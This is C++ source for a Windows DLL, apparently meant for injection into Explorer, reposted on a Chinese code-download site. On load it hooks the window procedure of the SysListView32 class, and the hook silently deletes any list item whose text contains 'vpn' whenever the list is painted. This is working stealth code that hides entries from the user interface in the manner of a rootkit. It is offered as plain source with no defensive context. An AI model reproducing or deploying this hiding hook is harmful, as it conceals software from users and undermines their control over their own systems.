⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 explorer.cpp

📁 This file (the project file) contains information at the project level and is used to build a sing
💻 CPP
字号:
#include "stdafx.h"

#define MAGIC_NUMBER	(0x20)
WNDPROC lpfnSupperClassProc=NULL;

__forceinline
void HideItem(HWND hListCtrl,DWORD dwItemcount)
{
	LVITEM li={0};
	char text[50]={0};
	li.pszText=text;
	li.cchTextMax=50;
	
	for(DWORD i=0;i<dwItemcount;i++)
	{
		CallWindowProc(lpfnSupperClassProc,hListCtrl,LVM_GETITEMTEXT,i,(LPARAM)&li);
		
		if(StrStrI(li.pszText,_T("vpn"))!=NULL)
			CallWindowProc(lpfnSupperClassProc,hListCtrl,LVM_DELETEITEM,i,0);
	}
}

LRESULT CALLBACK ListFilterProc(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
	DWORD dwItemcount=0;
	if(WM_PAINT==uMsg)
	{
		dwItemcount=CallWindowProc(lpfnSupperClassProc,hwnd,LVM_GETITEMCOUNT,0,0);
		if(dwItemcount<MAGIC_NUMBER)
			HideItem(hwnd,dwItemcount);
	}
		
	return CallWindowProc(lpfnSupperClassProc,hwnd,uMsg,wParam,lParam);
}

__forceinline
BOOL InstallListFilter()
{
	OutputDebugString(_T("InstallFilter\n"));
	
	BOOL bRet=FALSE;
	HWND hWnd=NULL;
	
	INITCOMMONCONTROLSEX cls={sizeof(INITCOMMONCONTROLSEX),ICC_WIN95_CLASSES};
	bRet=InitCommonControlsEx(&cls);

	if(bRet)
	{
		hWnd=CreateWindow(_T("SysListView32"),_T(""),WS_CAPTION|LVS_REPORT,0,0,0,0,NULL,NULL,NULL,NULL);

		lpfnSupperClassProc=(WNDPROC)GetClassLong(hWnd,GCL_WNDPROC);
		SetClassLong(hWnd,GCL_WNDPROC,(LONG)ListFilterProc);
		
		DestroyWindow(hWnd);
	}
	
	return bRet;
}

BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)
{
	if(DLL_PROCESS_ATTACH==ul_reason_for_call)	
		InstallListFilter();
	return TRUE;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -